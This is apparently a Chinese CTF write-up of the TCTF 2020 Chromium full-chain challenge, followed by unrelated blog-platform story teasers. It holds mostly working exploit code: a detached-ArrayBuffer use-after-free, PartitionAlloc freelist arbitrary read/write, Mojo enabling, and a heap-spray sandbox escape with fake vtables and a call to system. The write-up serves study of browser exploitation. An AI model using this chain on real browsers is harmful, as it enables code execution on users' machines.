TCTF-2020-Chromium-Fullchain

概覽

rce+sbx。
通過rce來開啟mojo,然后再sbx bypass。

調試方式

在需要調試的地方調用debug()函數

function debug(){
    for(let j = 0; j < 0x10000000; j++){
            var x = 1;
        for(let i = 0; i < 0x1000000; i++){
            var x = x + i;
        }
    }
}

然后另起一個控制臺,用gdb attach render process,可用

gdb -p `ps axfh | grep type=renderer | grep chrome | awk '{print $1}' | head -1`

render process的調試方式可見https://chromium.googlesource.com/chromium/src/+/81c0fc6d4/docs/linux_debugging.md

利用

render

和之前Chromium RCE類似,區別是少了一些native function,以及變成了PartitionAlloc

diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
     // 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
     // 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
     //   exception.
-    const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+    const utarget = %RawDownCast<AttachedJSTypedArray>(target);
 
     const overloadedArg = arguments[0];
     try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
       // 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
       // 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
       //   exception.
-      const utypedArray =
-          typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+      const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);
 
       TypedArrayPrototypeSetTypedArray(
           utarget, utypedArray, targetOffset, targetOffsetOverflowed)

ArrayBuffer Neuter

There is a well-known trick in browser security. Javascript allows buffers to be transferred from a source thread to a Worker thread, and the transferred buffers are not accessible (“neutered”) in the source thread. In Chrome, it would also release the buffer of the ArrayBuffer.

作用等價于釋放array buffer。

const ENABLE_NATIVE = 0
function ArrayBufferDetach(ab) {
    if (ENABLE_NATIVE) {
        eval("%ArrayBufferDetach(ab);");
        return
    }
    let w = new Worker('');
    w.postMessage({ab: ab}, [ab]);
    w.terminate();
}

泄露

function detachBuffer(x){ // x is the ArrayBuffer that we want to detach
    try{
        var w = new Worker("");
        w.postMessage("",[x]);     
        w.terminate();
    }catch(ex){
        console.log("exception when detaching")
    }
}

var victim = new Float64Array(10).fill(12.34);
detachBuffer(victim.buffer);

//////////
// do something
//////////
var leaks = new Float64Array(10);
var data = new Float64Array(10).fill(13.37);

leaks.set(victim,0); // read from detached buffer
victim.set(data,0)   // write to detached buffer

0x3b2e080a2c2d <Float64Array map = 0x3b2e08281ac1>
0x3b2e080a2be5 <ArrayBuffer map = 0x3b2e08280dc9>

free前

uaf Float64Array:

pwndbg> x/10gx 0x3e56080a2c2d-1
0x3e56080a2c2c: 0x080406e908281ac1  0x080a2be5080411a9
0x3e56080a2c3c: 0x0000000000000000  0x0000000000000008
0x3e56080a2c4c: 0x0000000000000001  0x000034d2eee04010 (backing store)
0x3e56080a2c5c: 0x0000000000000000  0x0000000000000000
0x3e56080a2c6c: 0x0804035d00000000  0x0000747474747474

uaf ArrayBuffer:

pwndbg> x/20gx 0x3e56080a2be5-1
0x3e56080a2be4: 0x080406e908280dc9  0x00000008080406e9
0x3e56080a2bf4: 0xeee0401000000000  0xa1a4d480000034d2
0x3e56080a2c04: 0x000000020000010b  0x0000000000000000
0x3e56080a2c14: 0x0000000000000000  0x0000001008040489
0x3e56080a2c24: 0x0000747474747474  0x080406e908281ac1
0x3e56080a2c34: 0x080a2be5080411a9  0x0000000000000000
0x3e56080a2c44: 0x0000000000000008  0x0000000000000001
0x3e56080a2c54: 0x000034d2eee04010 (backing store)  0x0000000000000000
0x3e56080a2c64: 0x0000000000000000  0x0804035d00000000
0x3e56080a2c74: 0x0000747474747474  0x080406e908280dc9

backing store:

pwndbg> x/10gx 0x000034d2eee04010
0x34d2eee04010: 0x0000747474747474  0x0000000000000000
0x34d2eee04020: 0x3040e0eed2340000  0x0000000000000000
0x34d2eee04030: 0x4040e0eed2340000  0x0000000000000000
0x34d2eee04040: 0x5040e0eed2340000  0x0000000000000000
0x34d2eee04050: 0x6040e0eed2340000  0x0000000000000000

PartitionAlloc Exploitation

super page布局

| Guard page (4KB) | Metadata page (4KB) | Guard pages (8KB) | Slot span | Slot span | ... | Slot span | Guard page (4KB) |

0x0000205284e00000 0x0000205284e01000 ---p  // Guard page (4KB)
0x0000205284e01000 0x0000205284e02000 rw-p  // Metadata page (4KB)
0x0000205284e02000 0x0000205284e04000 ---p  // Guard pages (8KB)
0x0000205284e04000 0x0000205284e18000 rw-p  // Slot span
0x0000205284e18000 0x0000205285000000 ---p  // Guard pages (4KB)

其中,metadata page中可以泄露chrome的基址。
之前在backing store中泄露的殘留free塊指針位于Slot span中,

  • 通過將該地址的末五位置0就可以得到 superpage的基地址。

  • PartitionPage大小是0x4000,我們取出泄漏指針的末四位 >> 14就可以得到PartitionPageIndex

  • PartitionPage基地址就是 Index*0x4000 + superpage的基地址

  • MetadataArea的基地址就是 superpage的基地址 + 0x1000

  • 當前的MetadataArea地址就是 MetadataArea的基地址 + PartitionPageIndex * 0x20

攻擊鏈如下


當METADATA AREA的freelist指針成環后,我們就有了任意地址讀寫的能力了。通過我們下一次malloc就能拿到METADATA AREA塊,通過改寫METADATA AREA的freelist就能任意地址讀寫

Arbitrary read consists of following steps:

  • Set first element in freelist to the destination address
  • Allocate an object. PartitionAlloc will do the “unlink”, by reading first pointer from the destination address and setting it to the freelist. the object will be allocated at the destination address.
  • Read first element in freelist while decoding the value, this gives the leaked bytes.
  • Since the allocated object is initialized with zeroes, restore the value that was at the address by writing the leaked bytes to the allocated object.
function read64(rwHelper, addr) {
    rwHelper[0] = addr; // [1]
    var tmp = new BigUint64Array(1); // [2]
    tmp.buffer;
    gcPreventer.push(tmp);
    tmp[0] =  byteSwapBigInt(rwHelper[0]); // [3] [4]
    return tmp[0];
}

Arbitrary write is implemented in the same manner:

  • backup the original address that was in the freelist
  • set first element in freelist to the destination address
  • allocate an object. the object will be allocated at the destination address.
  • write value into object
  • fix freelist by setting address to the value that was backed up in the first step.
function write64(rwHelper, addr, value) {
    var backup = rwHelper[0]
    rwHelper[0] = addr;
    var tmp = new BigUint64Array(1);
    tmp.buffer;
    tmp[0] = value;
    gcPreventer.push(tmp);
    rwHelper[0] = backup;
}

最后啟用mojo過程,需要改寫enabled_bindings為0x2。
我們首先要拿到g_frame_map的指針,遍歷能拿到當前frameRenderFrame

frame_map_ptr = chrome_base + 0xaa693a8n
console.log("chrome base @ "+ hex(chrome_base))
console.log("g_frame_map @ "+ hex(frame_map_ptr))

frame_map_ptr += 0x8n;
begin_ptr = read64(freelist,frame_map_ptr);
console.log("begin_ptr @ "+ hex(begin_ptr))

node_ptr = read64(freelist,begin_ptr+0x28n);
console.log("node_ptr @ "+hex(node_ptr));

render_frame_ptr = node_ptr;
//render_frame_ptr = read64(freelist,render_frame_ptr1);
console.log("render_frame_ptr @ "+hex(render_frame_ptr));



enabled_bindings = render_frame_ptr + 0x580n;
console.log("enabled_bindings @ "+hex(enabled_bindings));

write64(freelist,enabled_bindings,0x2n);

當改寫mojo標志后,需要重新加載頁面才能生效。為了保持freelist不崩潰,我們把freelist還原為原始的數值

console.log("go reload!!!");
freelist[0] = page_leak;
leaks[0] = (0n).i2f()
uaf.set(leaks,0);   
window.location.reload();

Sandbox

先準備若干objects

var spray_inst = [];

for(var i = 0; i < 3000; i++){


        var x = new blink.mojom.TStoragePtr();
        Mojo.bindInterface(blink.mojom.TStorage.name,  mojo.makeRequest(x).handle);

        await x.init();
        var z = (await x.createInstance()).instance;

        spray_inst.push({"stor":x,"inst":z});
}

而后釋放spray_inst 中的指針

for(var i =0; i < 3000; i++){
        if((i % 300 )== 0){continue;}
        await spray_inst[i]["stor"].ptr.reset();

}

堆噴的實現https://theori.io/research/escaping-chrome-sandbox/

批量申請0x700的堆塊,寫入構造好的對象結構

  • vtable ptr points to our controlled memory
  • inlined properties used for GetDouble & GetInt are filled with marker objects. We can read from them in order too understand if the memory was reclaimed successfully or not.
  • queue that is used for push/pop operations points to global section in libc. There we will write fake vtable

即把pop/push的指針指向預設的bss地址,這樣當我們通過push/pop方法時就能改寫bss地址內容。
改寫vtable地址為我們預設的bss地址,bss內容可控
修改double和int的屬性值為預設的marker值,這樣通過遍歷spray_inst中對象的GetDoubleGetInt結果,如果發現和marker的值相同,說明已經分配到了被控的對象,通過push/pop改寫bss內容為目標執行函數,再執行vtable函數即可。


////////////////////////////


var atoi_addr = (await spray_inst[0]["stor"].getLibcAddress()).addr // provided leak
libc_base = atoi_addr - 0x40680;
libc_bss_addr = libc_base + 0x3eb000
system_ptr        = libc_base + 0x4f440;
setcontext        = libc_base + 0x520c7

console.log("libc base  @ "+hex(libc_base))
console.log("bss        @ "+hex(libc_bss_addr))
console.log("system_ptr @ "+hex(system_ptr))


let alloc_count = 0x1000;

let data = new ArrayBuffer(0x700); // spray size
let b64arr = new BigUint64Array(data);
let view = new DataView(data);


b64arr.fill(0x41414242434344n);
let sprayed_val = 0x41414242434344


var bss_offs = libc_bss_addr+0xae0;
console.log("writing to "+hex(bss_offs));

/* ROP */
b64arr[0] = BigInt(bss_offs-0x10);
b64arr[0xa8/8] = BigInt(system_ptr); // rcx, future rip
b64arr[0x68/8] = BigInt(bss_offs+8); // rdi



//view.setUint8(command.length,0x0);
b64arr[(0x670/8)] = BigInt(sprayed_val); // double offs
b64arr[(0x648/8)] = BigInt(bss_offs);

b64arr[(0x650/8)] = BigInt(bss_offs) // vtable things
b64arr[(0x658/8)] = BigInt(bss_offs)
b64arr[(0x660/8)] = BigInt(0n)


/////////////

// bug trigger code is here, just not shown in this snippet :)

////////////

await (Array(alloc_count).fill().map(() => allocate(data))) // go reclaim!

for(var i = 0; i < spray_inst.length-1; i++){
        var tmp = (await spray_inst[i]["inst"].getDouble()).value.f2i()
        //console.log("i->"+ i + " " + tmp.toString(16));
        if(BigInt(tmp) == sprayed_val && (used_indexes.indexOf(i) == -1)){
                used_indexes.push(i);
                console.log("siced");
                (await spray_inst[i]["inst"].push(setcontext)); // push writes to bss
                (await spray_inst[i]["inst"].push(0x2a67616c662f2e)); // "./flag*"
                (await spray_inst[i]["inst"].getTotalSize());
                break top;
        }
}

其中,getAllocationConstructor實現如下

function getAllocationConstructor() {
        let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
        Mojo.bindInterface(blink.mojom.BlobRegistry.name,
                            mojo.makeRequest(blob_registry_ptr).handle, "process", true);

        function Allocation(size=0x700) {
          function ProgressClient(allocate) {
            function ProgressClientImpl() {
            }
            ProgressClientImpl.prototype = {
              onProgress: async (arg0) => {
                if (this.allocate.writePromise) {
                  this.allocate.writePromise.resolve(arg0);
                }
              }
            };
            this.allocate = allocate;

            this.ptr = new mojo.AssociatedInterfacePtrInfo();
            var progress_client_req = mojo.makeRequest(this.ptr);
            this.binding = new mojo.AssociatedBinding(
              blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req
            );

            return this;
          }

          this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size});
          this.progressClient = new ProgressClient(this);
          blob_registry_ptr.registerFromStream("", "", size, this.pipe.consumer, this.progressClient.ptr).then((res) => {
            this.serialized_blob = res.blob;
          })

          this.malloc = async function(data) {
            promise = new Promise((resolve, reject) => {
              this.writePromise = {resolve: resolve, reject: reject};
            });
            this.pipe.producer.writeData(data);
            this.pipe.producer.close();
            written = await promise;
            console.assert(written == data.byteLength);
          }

          this.free = async function() {
            this.serialized_blob.blob.ptr.reset();
            await sleep(1000);
          }

          this.read = function(offset, length) {
            this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length});
            this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null);
            return new Promise((resolve) => {
              this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => {
                result = new ArrayBuffer(length);
                this.readpipe.consumer.readData(result);
                this.watcher.cancel();
                resolve(result);
              });
            });
          }

          this.readQword = async function(offset) {
            let res = await this.read(offset, 8);
            return (new DataView(res)).getBigUint64(0, true);
          }

          return this;
        }

        async function allocate(data) {
          let allocation = new Allocation(data.byteLength);
          await allocation.malloc(data);
          return allocation;
        }
        return allocate;
     }

murmur

本地調試的時候,在關閉ENABLE_NATIVE的時候,Neuter(即free array buffer)會失敗,打印錯誤原因為SecurityError: Failed to construct 'Worker'
這是因為Workers are restricted by the Same Origin Policy,在打開local file或者relative URL的時候,不被允許創建Worker

可以在chrome的啟動參數添加--allow-file-access-from-files,獲取本地起服務器通過url來訪問網頁。

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,333評論 6 531
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,491評論 3 416
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 176,263評論 0 374
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,946評論 1 309
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,708評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,186評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,255評論 3 441
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,409評論 0 288
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,939評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,774評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,976評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,518評論 5 359
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,209評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,641評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,872評論 1 286
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,650評論 3 391
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,958評論 2 373